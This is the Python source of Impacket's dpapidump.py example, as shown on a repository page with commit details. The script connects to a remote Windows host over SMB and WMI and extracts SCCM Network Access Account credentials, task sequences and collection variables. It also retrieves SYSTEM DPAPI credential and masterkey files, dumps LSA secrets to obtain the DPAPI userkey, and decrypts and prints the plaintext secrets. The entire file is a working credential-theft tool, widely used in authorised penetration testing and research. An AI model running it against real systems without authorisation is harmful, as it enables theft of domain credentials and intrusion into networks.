Files
Julien Egloff b58e72b689 Add dpapidump to impacket (#1917)
* Adding dpapidump to impacket

* Apply suggestions from code review

Co-authored-by: Gabriel Gonzalez <gabriel.gonzalez@fortra.com>

* Update examples/dpapidump.py

* Update examples/dpapidump.py

* Update examples/dpapidump.py

* Update examples/dpapidump.py

Co-authored-by: Gabriel Gonzalez <gabriel.gonzalez@fortra.com>

---------

Co-authored-by: laxa <laxa@ddracepro.net>
Co-authored-by: Gabriel Gonzalez <gabriel.gonzalez@fortra.com>
2026-04-30 10:24:21 -03:00

510 lines
24 KiB
Python
Executable File

#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Automates extraction of DPAPI credentials for the SYSTEM user on a remote host
#
# Authors:
# Alberto Solino (@agsolino)
# Clement Lavoillotte (@clavoillotte)
# Julien Egloff (@laxaa)
#
from __future__ import division
from __future__ import print_function
import argparse
import codecs
import logging
import os
import re
import sys
import ntpath
from binascii import unhexlify, hexlify
from io import BytesIO
from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY
from impacket.smbconnection import SMBConnection
from impacket.dpapi import MasterKeyFile, MasterKey, CredentialFile, DPAPI_BLOB, CREDENTIAL_BLOB
from impacket.uuid import bin_to_string
from impacket.examples.regsecrets import RemoteOperations, LSASecrets
from impacket.krb5.keytab import Keytab
class DumpCreds:
def __init__(self, remoteName, username='', password='', domain='', options=None):
self.__remoteName = remoteName
self.__remoteHost = options.target_ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__smbConnection = None
self.__bootkey = options.bootkey
self.__remoteOps = None
self.__LSASecrets = None
self.__userkey = options.userkey
self.__doKerberos = options.k
self.__dumpLSA = (options.userkey is None)
self.__kdcHost = options.dc_ip
self.__options = options
self.key = None
self.sccm_secrets = []
self.raw_credentials = {}
self.raw_masterkeys = {}
self.masterkeys = {}
self.required_mks = []
self.get_sccm = options.all or options.sccm
self.get_creds = options.all or options.creds
self.__throttle = options.throttle
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self):
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def getDPAPI_SYSTEM(self, secretType, secret):
if secret.startswith("dpapi_machinekey:"):
machineKey, userKey = secret.split('\n')
userKey = userKey.split(':')[1]
self.key = unhexlify(userKey[2:])
def getFileContent(self, share, path, filename):
content = None
try:
fh = BytesIO()
filepath = ntpath.join(path,filename)
self.__smbConnection.getFile(share, filepath, fh.write)
content = fh.getvalue()
fh.close()
except:
return None
return content
def decryptBlob(self, blob):
mkid = bin_to_string(blob['GuidMasterKey'])
key = self.masterkeys.get(mkid, None)
if key is None:
logging.info(f"Could not decrypt masterkey {mkid}")
return None
decrypted = blob.decrypt(key)
return decrypted
def decideBlobMasterkey(self, blob):
mkid = bin_to_string(blob['GuidMasterKey'])
if mkid not in self.required_mks:
self.required_mks.append(mkid)
def addPolicySecret(self, iEnum):
regex = r"<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
while True:
try:
pEnum = iEnum.Next(0xffffffff, 1)[0]
record = pEnum.getProperties()
if 'NetworkAccessUsername' in record and 'NetworkAccessPassword' in record:
unparsed_network_access_username = record.get('NetworkAccessUsername', {}).get('value', None)
unparsed_network_access_password = record.get('NetworkAccessPassword', {}).get('value', None)
username_blob = DPAPI_BLOB(unhexlify(re.match(regex, unparsed_network_access_username).group(1))[4:])
password_blob = DPAPI_BLOB(unhexlify(re.match(regex, unparsed_network_access_password).group(1))[4:])
item = {'NAA_Credentials': {username_blob: password_blob}}
self.sccm_secrets.append(item)
self.decideBlobMasterkey(username_blob)
self.decideBlobMasterkey(password_blob)
elif 'TS_Sequence' in record:
unparsed_task_sequence = record.get('TS_Sequence', {}).get('value', None)
task_sequence_blob = DPAPI_BLOB(unhexlify(re.match(regex, unparsed_task_sequence).group(1))[4:])
item = {'TS_Sequence':task_sequence_blob}
self.decideBlobMasterkey(task_sequence_blob)
self.sccm_secrets.append(item)
elif 'Name' in record and 'Value' in record:
collection_name = record.get('Name', {}).get('value', None)
unparsed_collection_value = record.get('Value', {}).get('value', None)
collection_value_blob = DPAPI_BLOB(unhexlify(re.match(regex, unparsed_collection_value).group(1))[4:])
item = {'Collection Variable':{collection_name: collection_value_blob}}
self.decideBlobMasterkey(collection_value_blob)
self.sccm_secrets.append(item)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if str(e).find('S_FALSE') < 0:
raise
else:
break
def dump(self):
if self.get_sccm:
# get SCCM credentials using WMI
namespaces = [ 'root\\ccm\\Policy\\Machine\\RequestedConfig',
'root\\ccm\\Policy\\Machine\\ActualConfig' ]
queries = [
'SELECT NetworkAccessUsername, NetworkAccessPassword FROM CCM_NetworkAccessAccount',
'SELECT TS_Sequence FROM CCM_TaskSequence',
'SELECT Name, Value FROM CCM_CollectionVariable'
]
try:
logging.info("Querying SCCM configuration via WMI")
for namespace in namespaces:
for query in queries:
logging.info(f'WMI namespace {namespace} query \'{query}\'')
dcom = DCOMConnection(self.__remoteName, self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, oxidResolver=True,
doKerberos=self.__doKerberos, kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
iWbemServices= iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
except DCERPCSessionError as e:
# error code for WBEM_E_INVALID_NAMESPACE
# https://learn.microsoft.com/fr-fr/troubleshoot/windows-client/windows-security/mbam-client-fails-event-id-4-0x8004100e
iWbemLevel1Login.RemRelease()
dcom.disconnect()
if e.error_code != 0x8004100e:
raise
logging.info(f'Invalid WMI namespace {namespace}')
break
if self.__options.rpc_auth_level == 'privacy':
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
elif self.__options.rpc_auth_level == 'integrity':
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
iWbemLevel1Login.RemRelease()
iEnum = iWbemServices.ExecQuery(query)
self.addPolicySecret(iEnum)
iEnum.RemRelease()
iWbemServices.RemRelease()
dcom.disconnect()
except Exception as e:
logging.error(str(e))
if type(e) is wmi.DCERPCSessionError and e.error_code == 0x8004100e:
logging.error("CCM namespace not found, this usually means there is no SCCM configuration on the machine.")
try:
iEnum.RemRelease()
iWbemServices.RemRelease()
dcom.disconnect()
except:
pass
if len(self.sccm_secrets) == 0:
logging.info("No SCCM secrets found")
else:
logging.info("Got " + str(len(self.sccm_secrets)) + " SCCM secrets.")
# retrieve DPAPI decryption keys using SMB (and an LSA Secrets dump if needed)
try:
bootKey = None
try:
try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
pass
else:
raise
# get SYSTEM credentials (if requested) & masterkeys
share = 'C$'
cred_paths = [
'\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials\\',
'\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Credentials\\',
]
mk_path = '\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\'
if self.get_creds:
for cred_path in cred_paths:
try:
files = self.__smbConnection.listPath(share, ntpath.join(cred_path, '*'))
except Exception:
logging.info(f'No credentials file found in {cred_path}')
continue
for f in files:
if f.is_directory() == 0:
filename = f.get_longname()
# "virtualapp/didlogical" creds that we skip cause not interesting
if 'DFBE70A7E5CC19A398EBF1B96859CE5D' in filename:
continue
credential_path = ntpath.join(cred_path, filename)
logging.info(f'Credential file found: {filename}')
logging.info(f'Retrieving credential file: {credential_path}')
data = self.getFileContent(share, cred_path, filename)
if data:
self.raw_credentials[credential_path] = data
else:
logging.info("Could not get content of credential file: " + credential_path + ", skipping")
# for each credential, get corresponding masterkey file
useless_credentials = []
for k, v in self.raw_credentials.items():
cred = CredentialFile(v)
blob = DPAPI_BLOB(cred['Data'])
mkid = bin_to_string(blob['GuidMasterKey'])
if mkid not in self.raw_masterkeys:
logging.info("Retrieving masterkey file: " + mkid)
self.raw_masterkeys[mkid] = self.getFileContent(share, mk_path, mkid)
if self.raw_masterkeys[mkid] is None:
logging.info(f"Could not get content of masterkey file: {mkid} skipping")
useless_credentials.append(k)
for k in useless_credentials:
del self.raw_credentials[k]
# for each SCCM secret, get corresponding masterkey file
for mkid in self.required_mks:
if mkid not in self.raw_masterkeys:
logging.info(f"Retrieving masterkey file: {mkid}")
self.raw_masterkeys[mkid] = self.getFileContent(share, mk_path, mkid)
if self.raw_masterkeys[mkid] is None:
logging.info(f"Could not get content of masterkey file: {mkid}, skipping")
# check whether there's something left to decrypt
if len(self.raw_credentials) == 0 and len(self.sccm_secrets) == 0:
logging.info("Nothing to decrypt, quitting")
self.cleanup()
return
# prepare to dump LSA secrets to get SYSTEM userkey if not provided
if self.__userkey is None:
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
self.__remoteOps.enableRegistry()
if not self.__bootkey:
bootKey = self.__remoteOps.getBootKey()
else:
bootKey = unhexlify(self.__bootkey)
else:
self.key = unhexlify(self.__userkey[2:])
except Exception as e:
self.__dumpLSA = False
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract LSA
if self.__dumpLSA and self.key is None:
try:
self.__LSASecrets = LSASecrets(bootKey, self.__remoteOps,
throttle=self.__throttle,
perSecretCallback = self.getDPAPI_SYSTEM)
self.__LSASecrets.dumpSecrets()
logging.info('dpapi_userkey: 0x' + hexlify(self.key).decode('utf-8'))
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
try:
self.cleanup()
except:
pass
# decrypt collected secrets & creds
if self.key is None:
logging.error("Could not get SYSTEM userkey")
return
for k, v in self.raw_masterkeys.items():
if v is None:
self.masterkeys[k] = None
continue
data = v
mkf = MasterKeyFile(data)
data = data[len(mkf):]
if not mkf['MasterKeyLen'] > 0:
logging.error("Masterkey file " + k + " does not contain a masterkey")
continue
mk = MasterKey(data[:mkf['MasterKeyLen']])
data = data[len(mk):]
decryptedKey = mk.decrypt(self.key)
if not decryptedKey:
logging.error("Could not decrypt masterkey " + k)
continue
logging.info("Decrypted masterkey " + k + ": 0x" + hexlify(decryptedKey).decode('utf-8'))
self.masterkeys[k] = decryptedKey
for secret in self.sccm_secrets:
secret_type = list(secret.keys())[0]
if secret_type == 'NAA_Credentials':
credentials = secret[secret_type]
username = list(credentials.keys())[0]
username_decrypted = self.decryptBlob(username)
password_decrypted = self.decryptBlob(credentials[username])
if username_decrypted:
username_decrypted = username_decrypted.decode('utf-16le')
if password_decrypted:
password_decrypted = password_decrypted.decode('utf-16le')
logging.info(f'[NAA Credentials] {username_decrypted}:{password_decrypted}')
elif secret_type == 'TS_Sequence':
decrypted = self.decryptBlob(secret[secret_type])
if decrypted:
decrypted = decrypted.decode('utf-16le').rstrip('\x0d\x0a\x00\x0a')
logging.info(f'[Task_Sequence] {decrypted}')
elif secret_type == 'Collection Variable':
col_variable = secret[secret_type]
name = list(col_variable.keys())[0]
value = self.decryptBlob(col_variable[name])
if value:
value = value.decode('utf-16le')
logging.info(f'[Collection Variable] {name}:{value}')
for k, v in self.raw_credentials.items():
cred = CredentialFile(v)
blob = DPAPI_BLOB(cred['Data'])
mkid = bin_to_string(blob['GuidMasterKey'])
key = self.masterkeys.get(mkid, None)
if key is None:
logging.info("Could not decrypt masterkey " + mkid + ", skipping credential " + k)
continue
logging.info("Decrypting credential " + k)
decrypted = blob.decrypt(key)
if decrypted is not None:
creds = CREDENTIAL_BLOB(decrypted)
creds.dump()
else:
logging.error("Could not decrypt credential file " + k)
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
# Process command-line arguments.
if __name__ == '__main__':
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "Performs remote extraction of SYSTEM DPAPI credentials and SCCM client secrets.")
parser.add_argument('-creds', action='store_true', help='Extract SYSTEM user DPAPI credentials (default: all)')
parser.add_argument('-sccm', action='store_true', help='Extract SCCM client credentials (default: all)')
parser.add_argument('-userkey', action='store', help='dpapi_userkey for SYSTEM (e.g. if previously dumped using secretsdump). '
'If not provided an LSA secrets dump will be performed to retrieve it.')
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION.MINOR_VERSION", help='DCOM version, '
'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')
parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')
parser.add_argument('-throttle', action='store', help='Throttle in seconds between operations', default=0, type=int)
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
' the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication'
' (128 or 256 bits)')
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default',
help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy '
'(RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require '
'privacy level by default)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password, address = parse_target(options.target)
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.keytab is not None:
Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
options.k = True
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
if options.com_version is not None:
try:
major_version, minor_version = options.com_version.split('.')
COMVERSION.set_default_version(int(major_version), int(minor_version))
except Exception:
logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"")
sys.exit(1)
options.all = (options.sccm is False and options.creds is False)
dumper = DumpCreds(address, username, password, domain, options)
try:
dumper.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)